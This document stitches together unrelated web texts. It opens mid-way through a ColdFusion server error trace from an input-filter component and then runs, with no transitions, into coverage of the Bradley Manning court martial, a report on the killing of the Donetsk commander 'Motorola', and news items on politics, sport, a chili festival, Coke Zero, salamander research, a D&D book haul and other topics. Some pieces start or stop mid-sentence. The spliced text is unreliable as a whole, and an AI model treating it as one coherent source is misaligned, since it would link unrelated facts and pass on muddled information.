coldfusion.filter.DatasourceFilter.invoke(DatasourceFilter.java:22) at coldfusion.filter.CachingFilter.invoke(CachingFilter.java:62) at coldfusion.CfmServlet.service(CfmServlet.java:201) at coldfusion.bootstrap.BootstrapServlet.service(BootstrapServlet.java:89) at jrun.servlet.FilterChain.doFilter(FilterChain.java:86) at coldfusion.monitor.event.MonitoringServletFilter.doFilter(MonitoringServletFilter.java:42) at coldfusion.bootstrap.BootstrapFilter.doFilter(BootstrapFilter.java:46) at jrun.servlet.FilterChain.doFilter(FilterChain.java:94) at jrun.servlet.FilterChain.service(FilterChain.java:101) at jrun.servlet.ServletInvoker.invoke(ServletInvoker.java:106) at jrun.servlet.JRunInvokerChain.invokeNext(JRunInvokerChain.java:42) at jrun.servlet.JRunRequestDispatcher.invoke(JRunRequestDispatcher.java:286) at jrun.servlet.ServletEngineService.dispatch(ServletEngineService.java:543) at jrun.servlet.jrpp.JRunProxyService.invokeRunnable(JRunProxyService.java:203) at jrunx.scheduler.ThreadPool$ThreadThrottle.invokeRunnable(ThreadPool.java:428) at jrunx.scheduler.WorkerThread.run(WorkerThread.java:66) Suppressed array [empty] TagContext array 1 struct COLUMN 0 ID CF_NEOPAGECONTEXT LINE 127 RAW_TRACE at cfPortcullis2ecfc2088727880$funcSCAN.runFunction(D:\WebContent\BioedOnlineRedesign_Production\requirements\mura\Portcullis.cfc:127) TEMPLATE D:\WebContent\BioedOnlineRedesign_Production\requirements\mura\Portcullis.cfc TYPE CFML 2 struct COLUMN 0 ID CF_TEMPLATEPROXY LINE 5 RAW_TRACE at cfscriptProtect_include2ecfm1326099910.runPage(D:\WebContent\BioedOnlineRedesign_Production\config\appcfc\scriptProtect_include.cfm:5) TEMPLATE D:\WebContent\BioedOnlineRedesign_Production\config\appcfc\scriptProtect_include.cfm TYPE CFML 3 struct COLUMN 0 ID CFINCLUDE LINE 50 RAW_TRACE at cfonRequestStart_scriptProtect_method2ecfm773177258$funcONREQUESTSTART.runFunction(D:\WebContent\BioedOnlineRedesign_Production\config\appcfc\onRequestStart_scriptProtect_method.cfm:50) TEMPLATE D:\WebContent\BioedOnlineRedesign_Production\config\appcfc\onRequestStart_scriptProtect_method.cfm TYPE CFML 4 struct COLUMN 0 ID CF_UDFMETHOD LINE 64 RAW_TRACE at cfonMissingTemplate_include2ecfm368542900.runPage(D:\WebContent\BioedOnlineRedesign_Production\config\appcfc\onMissingTemplate_include.cfm:64) TEMPLATE D:\WebContent\BioedOnlineRedesign_Production\config\appcfc\onMissingTemplate_include.cfm TYPE CFML 5 struct COLUMN 0 ID CFINCLUDE LINE 50 RAW_TRACE at cfonMissingTemplate_method2ecfm386368301$funcONMISSINGTEMPLATE.runFunction(D:\WebContent\BioedOnlineRedesign_Production\config\appcfc\onMissingTemplate_method.cfm:50) TEMPLATE D:\WebContent\BioedOnlineRedesign_Production\config\appcfc\onMissingTemplate_method.cfm TYPE CFML Type Expression VarName url.1
Detail An exception occurred while invoking an event handler method from Application.cfc. The method name is: onMissingTemplate.
Message Event handler exception.
RootCause struct Detail Valid variable names must start with a letter and can only contain letter, numbers, and underscores. ErrNumber 0 Message The string url.1 is not a valid ColdFusion variable name. StackTrace coldfusion.runtime.NeoPageContext$InvalidVariableNameException: The string url.1 is not a valid ColdFusion variable name. at coldfusion.runtime.NeoPageContext.SymTab_validateName(NeoPageContext.java:1515) at coldfusion.runtime.NeoPageContext.setAttribute(NeoPageContext.java:433) at coldfusion.runtime.NeoPageContext.setAttribute(NeoPageContext.java:427) at coldfusion.runtime.CfJspPage._set(CfJspPage.java:421) at cfPortcullis2ecfc2088727880$funcSCAN.runFunction(D:\WebContent\BioedOnlineRedesign_Production\requirements\mura\Portcullis.cfc:127) at coldfusion.runtime.UDFMethod.invoke(UDFMethod.java:472) at coldfusion.filter.SilentFilter.invoke(SilentFilter.java:47) at coldfusion.runtime.UDFMethod$ReturnTypeFilter.invoke(UDFMethod.java:405) at coldfusion.runtime.UDFMethod$ArgumentCollectionFilter.invoke(UDFMethod.java:368) at coldfusion.filter.FunctionAccessFilter.invoke(FunctionAccessFilter.java:55) at coldfusion.runtime.UDFMethod.runFilterChain(UDFMethod.java:321) at coldfusion.runtime.UDFMethod.invoke(UDFMethod.java:220) at coldfusion.runtime.TemplateProxy.invoke(TemplateProxy.java:491) at coldfusion.runtime.TemplateProxy.invoke(TemplateProxy.java:337) at coldfusion.runtime.CfJspPage._invoke(CfJspPage.java:2360) at cfscriptProtect_include2ecfm1326099910.runPage(D:\WebContent\BioedOnlineRedesign_Production\config\appcfc\scriptProtect_include.cfm:5) at coldfusion.runtime.CfJspPage.invoke(CfJspPage.java:231) at coldfusion.tagext.lang.IncludeTag.doStartTag(IncludeTag.java:416) at coldfusion.runtime.CfJspPage._emptyTcfTag(CfJspPage.java:2722) at cfonRequestStart_scriptProtect_method2ecfm773177258$funcONREQUESTSTART.runFunction(D:\WebContent\BioedOnlineRedesign_Production\config\appcfc\onRequestStart_scriptProtect_method.cfm:50) at coldfusion.runtime.UDFMethod.invoke(UDFMethod.java:472) at coldfusion.filter.SilentFilter.invoke(SilentFilter.java:47) at coldfusion.runtime.UDFMethod$ReturnTypeFilter.invoke(UDFMethod.java:405) at coldfusion.runtime.UDFMethod$ArgumentCollectionFilter.invoke(UDFMethod.java:368) at coldfusion.filter.FunctionAccessFilter.invoke(FunctionAccessFilter.java:55) at coldfusion.runtime.UDFMethod.runFilterChain(UDFMethod.java:321) at coldfusion.runtime.UDF
|
, however, allow the defense to enter as fact that the content was a “verbatim transcript” of the audio/video from “Collateral Murder.” That was a legal theory or argument they needed to wait to make in court before a panel of jurors.
12:32 PM EST Judge ruled posting of YouTube video & “corrective training admissible. Act 2 (code for an incident that was not detailed further) admissible. Act 3 (see previous) not admissible. This means these prior instances of misconduct can be used by government to argue Manning had intent or knowledge when he committed the alleged offenses.
12:30 PM EST Redactions or substitutions to WikiLeaks Task Force report from CIA and Defense Intelligence Agency report granted by the judge.
12:00 PM EST The motion hearing has concluded. There are new changes to the case calendar. The judge read them in court and here are upcoming dates in the court martial:
October 17-18: speedy trial witness list to be argued for defense’s speedy trial motion
October 29 – November 2: speedy trial motion hearing; production motion for witnesses at “unlawful pretrial punishment” motion hearing
November 27 – December 2: litigation/argument on the “unlawful pretrial punishment” motion
December 10 – 14: pretrial witnesses and evidentiary issues argued
January 14 – 18: handling of classified information during the trial
January 28 – 29: last minute motions before trial
January 30: voir dire (or screening of potential jurors)
February 4 – March 15: trial
9:20 AM EST Proceedings begin this morning at 10:00 AM EST.
Original Post
Pfc. Bradley Manning’s latest motion hearing is due to wrap today at Fort Meade in Maryland. The proceedings have been going for the last couple days. There should be a decision today on whether the defense will have access to all 1,374 emails between commanding officers at the Quantico Marine brig, where Manning was confined for about nine months.
There will also be deliberation on witnesses who are going to be produced for the “unlawful pretrial punishment” hearing now scheduled for October. The witnesses being requested are individuals that came to the attention of the defense when the emails were provided to them from the government.
In the proceedings yesterday, the judge heard an argument on a government motion to admit evidence on prior instances of uncharged misconduct Manning committed before he committed the alleged charged acts. Two were discussed in code to protect Manning’s right to a fair trial but one was openly referenced and had been raised during the Article 32 pretrial hearing in December. That incident involved the posting of a YouTube video including buzzwords on classified information the military doesn’t want soldiers to use. It led to “corrective training” where he was made to produce a PowerPoint presentation on why it was wrong to leak information to “the enemy.”
The government moved for army regulations, US legal codes (such as 18 USC 793e) and the Authorized Use of Military Force (AUMF) to be admitted into evidence. The defense objected to the AUMF being introduced. The government wants to have this admitted as fact to show the recipient of the information—Al Qaeda—was in fact an enemy. The defense did not think it w
The defense moved for judicial notice so certain information would be considered fact in the upcoming trial. The defense moved for excerpts of David Finkel’s book, The Good Soldiers, to be admitted. Particularly, the defense wanted portions containing what they said was a “verbatim transcript” of audio/video contained in the “Collateral Murder” video Manning allegedly released to WikiLeaks.
The judge asked if the defense would provide a copy of the book. She sought to confirm that the defense was, in fact, claiming the book contains a word-for-word representation of remarks by soldiers made in the video, etc. She also asked the govt to provide a copy of the video to her so she could examine the book against the video and decide whether to admit the excerpts into the record as “verbatim transcript.”
The defense further explained the reason they wanted to admit this into the court record was because having knowledge or a copy of the content of the video would negate any argument that the information was “closely held.”
I am back at Fort Meade covering the court martial proceedings. There are a handful of people here in the media pool.
The media pool is not in the media center. There was a conflict with previously scheduled but canceled Guantanamo trial proceedings. Therefore, there will be less updates here than during prior hearings. Updates will appear at the top. Follow @kgosztola for updates during any long breaks or just after any court recesses.
I have been traveling to Fort Meade to cover these proceedings since December 2011, when Manning had his Article 32 hearing. You can view previous coverage of the court martial process and the Article 32 hearing here. I also co-authored a book with The Nation‘s Greg Mitchell on Manning and the court martial up through March of this year. The book is available here.
Following this hearing, I am headed to Charlotte to cover the scene at the Democratic National Convention.Observers say 33-year-old killed as result of either an internal feud or Russia removing ‘inconvenient’ separatist leaders in the field
With his ginger beard, fiery temperament and somewhat incongruous nom de guerre, Motorola was one of the best known and most controversial rebel commanders in east Ukraine. Accused of war crimes in Kiev but revered as a hero in Russia, Motorola would often be spotted driving his quad bike around Donetsk, or wheeling his baby around the city in a pushchair while surrounded by bodyguards.
East Ukraine: on the frontline of Europe's forgotten war Read more
Now the security-conscious Motorola, real name Arseny Pavlov, is dead, blown up by a powerful bomb apparently planted in his apartment block’s lift on Sunday night. Officially, the Donetsk rebels have blamed the attack on a Ukrainian nationalist cell operating in the city. But many believe the killing to be the latest salvo in a brutal territorial war between different rebel factions in east Ukraine, possibly also involving their overlords in Moscow.
The Russian website Life News carried video from the scene which showed heavily bloodied remains being carried away from the building. It said Pavlov and his bodyguard had both been wearing body armour at the time of the blast and were heavily armed. The bomb was detonated remotely, the website reported.
A video surfaced online of four men in masks in front of a Ukrainian flag; they claimed responsibility for the killing, said they were inside Donetsk and would target other separatist leaders next. The men said they were acting on behalf of the “misanthropic division” of Ukrainian nationalists.
Alexander Zakharchenko, leader of the Donetsk rebels, gave a statement saying there would be revenge for the killing, and promised to track down Ukrainian agents “without mercy”. But observers said the video did not appear credible, and despite the rhetoric, many in Ukraine and even some in Donetsk itself believe that Motorola was killed by one of his own.
“Motorola was very careful with his security, he was paranoid about his safety and that of his family,” a source close to the rebel leadership said. “So the idea you could do a sophisticated hit like that requiring such close access requires someone in the inner circle. The official version is pretty doubtful.”
Facebook Twitter Pinterest Arseny Pavlov, known as ‘Motorola’, saluting while taking part in a military parade. Photograph: Aleksey Filippov/AFP/Getty Images
A number of rebel leaders in east Ukraine have been assassinated in the past 18 months, with Ukrainian diversionary groups blamed except in once incident, which was declared a suicide. However, many believe that the deaths are the result either of internal feuds, or even of Russian security services attempting to remove “inconvenient” and uncontrollable figures from the field.
One of the first to be killed was Alexey Mozgovoy, an anarchist who led the Ghost battalion and ran the town of Alchevsk, nominally part of the self-declared Luhansk People’s Republic (LPR), as his personal fiefdom. His motorcade came under fire in May last year; he died along with his press secretary. While there have been a number of assassinations in the so-called the LPR, the Donetsk rebels have until now settled their battles without recourse to violence.
Pavlov, who was born in the Russian republic of Komi, had apparently been known as Motorola since he served in Chechnya, where he was in charge of communications for a battalion of the Russian army. He crossed into Ukraine to join the rebel movement in 2014, and led the Sparta battalion, known as one of the more ruthless and ill-disciplined of the rebel militia formations.
In a telephone interview with the Kyiv Post last year, he boasted of carrying out executions. “I don’t give a fuck what people accuse me of; I shot 15 prisoners and I don’t give a fuck,” said a man purporting to be Pavlov who spoke to the newspaper’s reporter.
But in Donetsk, Motorola was an unlikely hero, even featuring on a commemorative set of stamps issued by the unrecognised republic.
“A warrior from God; a cheerful knight,” is how the Russian newspaper Komsomolskaya Pravda described Motorola in a warm column by one of its east Ukraine correspondents on Monday.
The war in east Ukraine has led to nearly 10,000 deaths since it began in spring 2014. Despite a ceasefire agreed in Minsk in 2015 there are still almost daily casualties in frontline skirmishes. The rebel leadership coordinates its actions with handlers in Moscow, who finance and control the political landscape in the self-declared republics, despite claims to the contrary.6 years ago
(CNN) - President Barack Obama, who was largely quiet on the recent teachers strike in Chicago, said in an interview that aired Tuesday he was glad the issue had been resolved and took aim at Mitt Romney's approach to the situation.
"Governor Romney and a number of folks try to politicize the issue and do a lot of teacher-bashing. When I meet teachers all across the country, so devoted and dedicated to their kids, and what we've tried to do is actually break through this left-right, conservative – liberal gridlock," Obama said on NBC's "Today."
- Follow the Ticker on Twitter: @PoliticalTicker
- Check out the CNN Electoral Map and Calculator and game out your own strategy for November.
The Chicago Teachers Union last week voted to suspend its strike that delayed the start of the school year in the city's public school system by eight days. Their protest was sparked by objections to a longer school day, evaluations tied to student performance and job losses from school closings.
In a statement last week, Romney criticized the union leading the strike, saying teachers were turning their backs on hundreds of thousands of children. The Republican presidential nominee also blasted the president for supporting the union, though Obama had not commented on the situation at the time.
Romney asserted that the president had "chosen his side in this fight," pointing out that Vice President Joe Biden told a teachers' union in 2011 "you should have no doubt about my affection for you and the president's commitment to you."
The two presidential candidates have long been at odds over some aspects of education policy, with Romney claiming Obama is too concerned with placating teachers' unions, which are major sources of Democratic campaign cash, and Obama saying Romney is wrong on his position that smaller class sizes aren't necessarily advantageous to better learning.
In the interview Tuesday, Obama continued his attack, painting Romney as a threat to teachers.
"I just really get frustrated when I hear teacher-bashing as evidence of reform. My sister is a former teacher, and I can tell you that they work so hard," Obama said.
In the final deal reached to end the strike, the union settled on a 17.6% pay raise over four years, down from the 30% initially sought. But it also got rid of the merit pay program that would have evaluated teachers on student test scores.
Obama, in the interview, suggested he disagreed with the scrapping of the merit system and argued reform should include performance-based changes.
"What is absolutely true is if we've got a bad teacher, we should be able to train them to get better, and if they can't get better, they should be able to get fired," the president said.
Romney's campaign responded to the president's comments, saying Obama puts politics ahead of education.
"Instead of reforming education and putting achievement in the classroom first, President Obama has put politics and his allegiance to the teachers' unions ahead of students," campaign spokeswoman Amanda Henneberg said in a statement. "When Mitt Romney was governor, Massachusetts' schools had the best test scores in the entire country and his leadership expanded opportunities for high-achieving students. As President, he will stand up for students, not special interests, and work to ensure that every child has access to a great school, great teacher, and a quality education."
- CNN's Kevin Liptak and Michael Pearson contributed to this report.The tragic loss of a loved one is a difficult thing for any of us to swallow, especially for children – and if they lose a parent, the pain can be especially hard to deal with. In an effort to cope with the pain of losing her son during his service in Afghanistan, and to help other families heal after their war-time losses, proud Georgia mother Lisa Freeman creates teddy bears for the children of lost servicemen and women out of the cloth of their uniforms.
The project, called Matthew Bears, was born some time after she tragically lost her own son, Matthew Freeman, to enemy fire in Afghanistan in 2009. Any family that has lost a member in service can send the service member’s uniform to Lisa Freeman to have it made into teddy bears for that service member’s children, or to anyone related to that service member. The bears are free of charge.
“He’s loving that something good is happening out of something so tragic,” said Lisa, in memory of her son. Matthew was a Marine pilot, a relatively safe position, but volunteered for a riskier post because the Marines needed help. He fell to enemy fire nine days later.
In addition to these intensely meaningful teddy bears, Freeman is also involved in the Matthew Freeman Project, a non-profit founded to support education efforts in the U.S. and around the world, especially in Afghanistan – something Matthew asked his mother to do.
For more information, or to contribute, check out the Matthew Freeman Project’s website.
Source: The Matthew Freeman Project | Facebook (h/t: huffpost)
Here’s a video with more information about the whole Matthew Freeman Project:Marc Bartra has recently been making the headlines for a summer move due to his lack of chances as Luis Enrique’s last choice centre back. Former Barça boss, Pep Guardiola has been eyeing the central defender and wants the Spaniard to sign with Manchester City for the upcoming season. Bartra has been having a tough season under Luis Enrique, only making 23 appearances in all competitions. With the likes of Gerard Piqué, Mascherano, Vermaelen and Mathieu, the Spaniard has been left with very little opportunity to show his talent on the pitch along with his contract with the Catalan giants expiring in 2017.
However, future Manchester City coach, Pep, wants to add Bartra to his squad list with the elite English side. According to the Daily Mirror, Guardiola is eager to reunite with the 25 year old in England. This might be a positive move for the defender, as Pep was the one to give Bartra his debut with FC Barcelona at the age of 19.
Furthermore, the Daily Mirror report that Marc Bartra will be sold for only £9 million, if he decides to pen a deal with the “Sky Blues.”14th annual Superior Chili Fest partners with first-year Boulder Valley Beer Fest
Flatz restaurant employees Hannah Brennan, left, and Sean Rush load up a tray of chili during a past Superior Chili Festival. The annual festival returns to Superior Community Park on Sept. 6. (Doug Pike / Hometown Weekly file photo)
Chili samples from more than 30 regional cooks promise to torch the taste buds at this year's Superior Chili Festival.
Fortunately, cold suds from the 15 brewers taking part in the Boulder Valley Beer Fest will be on hand at the same locale to put out the flames.
The Chili Festival and corresponding first-year Boulder Valley Beer Fest will run from 2 to 6 p.m. Sept. 6 at Superior Community Park, 1350 Coalton Road.
Event organizers expect the fire-and-ice format to attract even more people to the already-popular festival.
"With the brew fest, we expect at least an extra thousand people," said Superior events and volunteer coordinator Katie Rummel, who estimates previous installments of the town's Chili Festival attracted between 6,000 and 8,000 people. "There's a lot of factors — weather, other festivals, whether CU is playing in town that weekend. This year we're expecting a big turnout."
Organizers of Boulder Valley Beer Fest — a first-year event introduced by the Boulder Valley Rotary Club — were more than happy to piggyback onto a successful event such as Chili Fest, which is now in its 14th year.
"It seemed like a natural fit," said Brad Lesch, Boulder Valley Rotary Club's committee chair for the beer festival. "I think it could very well be a long-term partnership."
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Rummel said the Boulder Valley Beer Fest adds a fresh, welcome dimension to the town's late-summer event.
"We're always trying to increase and add more amenities to continue to build our regional status," she said.
Those who purchase a ticket to the beer festival will receive a souvenir mug and unlimited beer sampling from 15 craft breweries. Tickets are $25 in advance and $30 at the gate.
To purchase tickets or view a complete list of participating breweries, visit bouldervalleybeerfest.com.
A "sampling kit" for Chili Fest runs $5 per person or $10 for a family. The kit allows festival-goers to sample from among the 30-plus entrants in the chili competition.
Chili Fest serves as an International Chili Society regional cook-off. Winners in the red chili, green chili and salsa categories automatically qualify for the ICS World Championship.
Also, five restaurants and organizations — Flatz, Wayne's Smoke Shack, Doug's Day Diner, Rocky Mountain Fire Department and Sunrise Senior Living — will provide chili samples throughout the event while competing for the coveted People's Choice award. Festival-goers are invited to submit ballots voting for their favorite restaurant chili.
"It's really just a lot of bragging rights," Rummel said. "Rocky Mountain Fire has always been a part of it, and they've won before, Flatz has won before, and so has Wayne's Smoke Shack barbecue, so it should be an interesting competition this year."
Event entertainment includes music from the vocal band Face and Globalsound Studio. Kids' attractions include a rock wall and inflatables. More than 50 vendors also make up the festival.
For more information on Chili Fest, visit superiorcolorado.gov.
Contact Colorado Hometown Weekly staff writer Doug Pike at 720-648-5022 or [email protected] long last, we have the details of Jim’s signing tour! We hope to see you there!
SEATTLE – TACOMA, WA
Tuesday, November 27, 7:00 PM PST
University Temple United Methodist Church
1415 NE 43rd St
Seattle, WA 98105
(206) 634-3400
*Books sold by University Bookstore
LOS ANGELES, CA
Wednesday, November 28, 6:00 PM PST
Mysterious Galaxy Redondo Beach
2810 Artesia Blvd.
Redondo Beach, CA 90278
(310) 542-6000
KANSAS CITY, MO
Thursday, November 29, 7:00 PM CST
Unity Temple on The Plaza
707 W 47th Street
Kansas City, MO 64112
*Books sold by Rainy Day Books
(913) 384-3126
CHICAGO, IL
Friday, November 30, 7:00 PM CST
Barnes & Noble #2622
55 Old Orchard Center
Skokie, IL 60077
(847) 676-2230
Jim will also be doing an AMA (“Ask Me Anything”) on Reddit‘s /r/fantasy section on November 20th. The AMA will be posted that morning, and folks will have all day to come up with questions and “upvote” the questions of others, so the best ones bubble to the top. Jim will start answering questions around 7pm or 8pm Central.They really will do whatever it takes to win in this epic rivalry.
New York Yankees general manager Brian Cashman admitted Thursday that he feigned interest in Carl Crawford last offseason to drive up the price for the Boston Red Sox to sign the free agent.
"I actually had dinner with the agent to pretend that we were actually involved and drive the price up," Cashman said. "The outfield wasn't an area of need, but everybody kept writing Crawford, Crawford, Crawford, Crawford. And I was like, 'I feel like we've got Carl Crawford in Brett Gardner, except he costs more than $100 million less, with less experience.' "
The rivalry continues on the field Friday night. The Red Sox are clinging to a two-game lead over the Rays in the wild-card standings going into a three-game set in the Bronx against the AL East champion Yankees.
It wasn't long ago that the Yankees were looking up at the Red Sox in the standings, but Boston has slumped badly in September after leading the wild-card race by nine games, and Crawford hasn't lived up to expectations.
And now it turns out the Yankees didn't even want him. They had put all of their eggs in the Cliff Lee basket this offseason, but Cashman had to scramble when the left-hander chose the Phillies.They found that the salamanders studied after 1980 were, on average, 8 percent smaller than those from earlier decades. The size changes were most pronounced for salamanders in the Southern Appalachians and at low elevations — settings where the climate has warmed and dried out most over the years.
Overall, on average, the salamanders shrunk by 1 percent per generation.
"This is one of the largest and fastest rates of change ever recorded in any animal," Karen R. Lips, an associate professor of biology at the University of Maryland and the study's senior author, said in a statement. "We don't know exactly how or why it's happening, but our data show it is clearly correlated with climate change."
The study, "Widespread Rapid Reductions in Body Size of Adult Salamanders in Response to Climate Change," was published online in Global Change Biology on Tuesday.
— NBC NewsGoodbye, Coke Zero. Coca-Cola Co. announced Wednesday that it will stop selling that no-calorie soda in the United States and replace it with a different calorie-free offering: Coca-Cola Zero Sugar.
The new soda is scheduled to start hitting shelves in August. Its rollout comes as the company says sales of its low- and no-sugar beverage options are on the rise. Coca-Cola Zero Sugar was introduced in 25 markets around the world in 2016, including Mexico and Britain.
“We’re confident our new and improved Coke Zero Sugar recipe delivers a great taste that Coke Zero fans in the U.S. will love,” Stuart Kronauge, the company’s senior vice president of marketing for North America, said in a statement. “We also hope that people who love the unforgettable taste of Coca-Cola, but want less sugar, will try it and enjoy.”
The new soda contains no sugar and no calories, and it has about as much caffeine as Coke Zero, according to the company.
Coca-Cola said that to ensure a seamless introduction, it tested the recipe with U.S. consumers for more than a year.
Also on Wednesday, Coca-Cola announced its second-quarter results.
The Atlanta beverage giant said that for the three months that ended June 30, it earned $1.37 billion, or 32 cents a share. That’s down from $3.45 billion, or 79 cents a share, in the same quarter last year.
Earnings, adjusted for one-time costs, were 59 cents a share. That was better than the 57 cents expected by analysts surveyed by Zacks Investment Research.
Its revenue of $9.7 billion was down 16% from $11.54 billion in the year-earlier quarter due to complications updating its bottling facilities and unfavorable currency exchange rates, it said. Analysts expected $9.71 billion.
Total sales volume worldwide was mostly flat. Sales of juice, dairy and plant-based beverages rose 3%, tea and coffee rose 2%, waters and sports drinks rose 1%, and sparkling soft drinks saw no gains.
The company anticipates full-year earnings per share will be flat to down 2% from last year's $1.91 a share. Its previous outlook was for the results to be down 1% to 3%.
Coca-Cola stock rose 1.1% on Wednesday to $45.74 a share.
The Associated Press was used in compiling this report.
[email protected]
@ethanvarian
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California woman sues Jelly Belly Candy claiming beans were full of sugar
Op-Ed: How much sugar is too much?
Man drinks 10 cans of Coke per day for an entire month, for scienceAbout two years ago, I got back into tabletop RPGs after a hiatus that was far too long. My resurgent interest in gaming also coincided with my wife and I realizing that we loved garage sales, antique stores and flea markets. Because I game a lot, I always look for things I can use in a game when we’re at these types of sales. Usually, I find things I think I could use as props, and mostly for games that are genres other than fantasy. Of course, I always looked for RPG books, but I rarely, if ever, found anything.
Until recently…
When poking around a flea market recently, my wife spotted the D&D 4e Martial Power book. I bought it because, why not? I got to talking with one of the owners, and it turns out the book had been hers. She also told me that they both had a request list and that she was trying to get her husband to get rid of some old D&D books that were in their basement. So, I put down my info and, a few days later, she called me to say they were on the shelves. I drove up and took a look at them. Whooo buddy! Let me show you what I brought home, all for $60.
As an aside: As I’m writing this article, I’m looking some of these up because my old-school module/book knowledge is woefully thin. So, you can thank this Wikipedia page for any info I drop on you in this post.
This one starts everything off. In fact, it was originally included with the D&D Basic Set as an aide to help new DMs design dungeons.
This one is apparently on of the Top 30 D&D Adventures of All Time. Neat!
I’ve got an updated printing of it as well.
This one also features in the Top 30… all three copies!
The first of the Drow Series. This series was preceded by the G series (Against the Giants, etc) and concludes with Q1: Queen of the Demonweb Pits. You’ll see some of those in a bit.
Case in point.
And, finishing up the D series. We’ll see more from this overall arc later.
Part of the Extension set. You can actually download this one from WotC.
The first of the Against the Giants series. Sadly, I only have this first one, not G2 and G3.
The first of the Desert of Desolation series. The three adventure combined make the Top 30 list as well.
The second of the Desert of Desolation series.
And this wraps up the adventure series ranked 6th greatest of all time.
Another adventure for Greyhawk. Apparently this was supposed to be the first of a set of five, but only the first three were published.
Another Greyhawk entry. Also, ranked in the Top 30.
A fantastic adventure. The setting for this adventure was revisited in Expedition to the Demonweb Pits for D&D 3.5.
The first of a linked set. This first one is also in the Top 30.
The second in the series. Also, has nothing to do with the band of the same name.
U3 caps off the underwater series.
This one is for OD&D, and I actually owned a copy of this adventure before I bought this lot. However, my Blue Box Expert Set has been lost to time. But now, I have two new (old) copies! Another Top 30 entrant.
Not only another OD&D adventure, but also a solo adventure and one that uses invisible ink(!).
The first adventure for the Dragonlance setting, which I fell in love with thanks to the novels, which I read when I was in 5th grade. Yet another Top 30 adventure. (This guy had good taste!)
This one actually has three adventures inside, the first of which introduces characters to the setting, and the last two of which are designed for OA characters.
We move away from the adventures (almost) and to the books. This one provides a bunch of pre-generated NPCs for your DMing needs.
An awesome AD&D supplement. And I got two of them. One of them also has the binder pages for the Monstrous Compendium, Vol 2.
A bit water-damaged, but still very useable.
Sadly, not a first printing, so there’s no Cthulhu Mythos inside. Given all that I did get, I can’t complain, though.
More monster goodness. I love these hardback books.
The original. I think that’s a Gith of some kind on the front. Can anyone confirm that?
I wish this were the real deal. Still, it’s a testament to the spirit of old-school gaming. Also, WotC, please don’t sue me.
This one about made my jaw drop when I saw it in the stack. I did, however, keep a straight face. I saved the dancing for when I got home, as well.
And, the map folio that comes with Temple of Elemental Evil. It’s easy to lose this things, so I’m glad it was included.
Lastly, we’ve got some miscellaneous third party books, plus a Dragon Magazine that includes collectible AD&D trading cards (all intact).
As the caption says, that is everything, pretty much how I saw it in the flea market.
I am unbelievably lucky to have found all of those items, especially for the price I paid. Unfortunately, I haven’t had the time to look closely at most of them, so if any readers have information to share about these books, including anecdotes of adventures, etc, please, please do so in the comments. Now, if you’ll pardon me, I have some books to read.CHICAGO - Suicidal thoughts or attempts are associated with daily smoking in current smokers, but not former smokers, according to an article in Archives of General Psychiatry, one of the JAMA/Archives journals.
"A link between cigarette smoking and suicide has been reported in epidemiological investigations since the 1970s," according to background information in the article. However, these interpretations have been subject to controversy. It is believed that depression may result in part from smoking and should not be controlled in analysis of this relationship. However, it's also been reported that symptoms of depression in adolescents predicts their starting smoking and that major depression leads to an increased risk for regular smoking and dependence; therefore, a history of depression must be considered when examining suicide in smokers.
Naomi Breslau, Ph.D., from Michigan State University, East Lansing, and colleagues examined the association between cigarette smoking and suicidal thoughts and attempts. Participants aged 21 to 30 years were interviewed in 1989 and completed follow-up interviews in 1992, 1994, and 1999 - 2001. At each assessment, they were asked about lifetime smoking history, whether they were current daily smokers or had been in the past, and psychiatric disorders. Nearly nine hundred people completed all three investigations.
During the ten-year follow-up, nineteen participants attempted suicide, while 130 reported having suicidal thoughts. The researchers found that current daily smoking, but not past smoking, as reported at the beginning of each of the assessments, predicted the subsequent occurrence of suicidal thoughts or attempt. These findings remained when adjusted statistically for prior depression, substance use disorders, prior psychiatric disorders and prior suicidal disposition. Rates of suicidal behavior were also higher in those experiencing depression at the start of each follow-up period.
"The biological explanation of the finding that current smoking is associated with subsequent suicidal behavior is unclear," the authors conclude.
(Arch Gen Psychiatry. 2005; 62: 328 - 334. Available post-embargo at www.archgenpsychiatry.com)
Editor's Note: This research was supported by a grant from the National Institute of Mental Health, Rockville, Md.
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For more information, contact the JAMA/Archives Media Relations Department at 312-464-JAMA (5262) or email [email protected] Philippine national flag flutters in the wind aboard the BRP Sierra Madre, run aground on the disputed Second Thomas Shoal, part of the Spratly Islands, in the West Philippine Sea. Reuters file photo.
TOKYO - Chinese authorities have instructed domestic media organizations to denounce an expected ruling by an international tribunal on the Philippines' arbitration case against China on their West Philippine Sea (South China Sea) dispute, Chinese propaganda sources said Friday.
The authorities are apparently aiming to fend off criticism that could emerge within the country against the government if the Permanent Court of Arbitration issues a decision against Beijing.
The court in The Hague, the Netherlands, is expected to rule on the case within the next few weeks.
The authorities have also ordered that the media refrain from slamming the Philippines' incoming President Rodrigo Duterte -- a move that may be intended by Beijing to secure room for maneuver in negotiations with the new leader over the territorial dispute when Duterte starts his term later this month.
Ordered by the Communist Party's Publicity Department, the country's Internet censorship body has held large-scale seminars targeting officials of major media in the country since May, telling them of the official position that the court's decision will not be accepted and calling Manila's arbitration bid "a political provocation under the guise of law against China," the sources said.
The media executives have been instructed to pitch the court decision as "invalid" in Chinese and English, according to the sources.
They were also asked to propagate the position that China will reject negotiations with other countries based on the tribunal's decision and actively quote comments by scholars and pundits from the Philippines and western countries showing understanding to China's argument, according to the sources.
In the face of China's increasing de facto control of much of the South China Sea by reclaiming land and building artificial islands, Manila sought arbitration by the international tribunal, saying China's territorial claims violate the U.N. Convention on the Law of the Sea.*Update*
The head of the The Marine Well Containment Co. said the meeting with federal officials was very positive and that he is under the impression the next step would be for the government to begin reviewing permits that use the system.
“We got a strong indication from them that they are ready to move forward,” said MWCC CEO Marty Massey in a phone interview. “They were very complimentary of the work that’s been done by industry. There’s nothing I can see that prevents that from happening.”
Cameron Wallace, a spokesman for Helix Energy Solutions, which has also developed a system, said Salazar and Bromwich brought with them a sizeable technical team that asked detailed questions about their response system.
“It was not just another meet-and-greet,” Wallace said.
++++++++
Federal officials said they were encouraged by what they saw Friday after visiting two Houston firms that are developing systems to contain subsea well blowouts.
The containment systems progress moves the industry closer to resuming deep-water drilling in the Gulf of Mexico after months of delay following the Deepwater Horizon disaster.
“I am very confident we are getting close to the point where we can issue deep-water permits,” Michael Bromwich, director of the Bureau of Ocean Energy Management, Regulation and Enforcement, said in a press conference.
Officials were unwilling to say if the systems were enough to assure a deep-water permit. Instead, they stressed that each permit and its reference to the systems would be evaluated on a well-by-well basis, and that the systems are still being improved upon.
Bromwich said one example of the feedback he gave the companies today was the suggestion that they hold quarterly updates on developments with their systems.
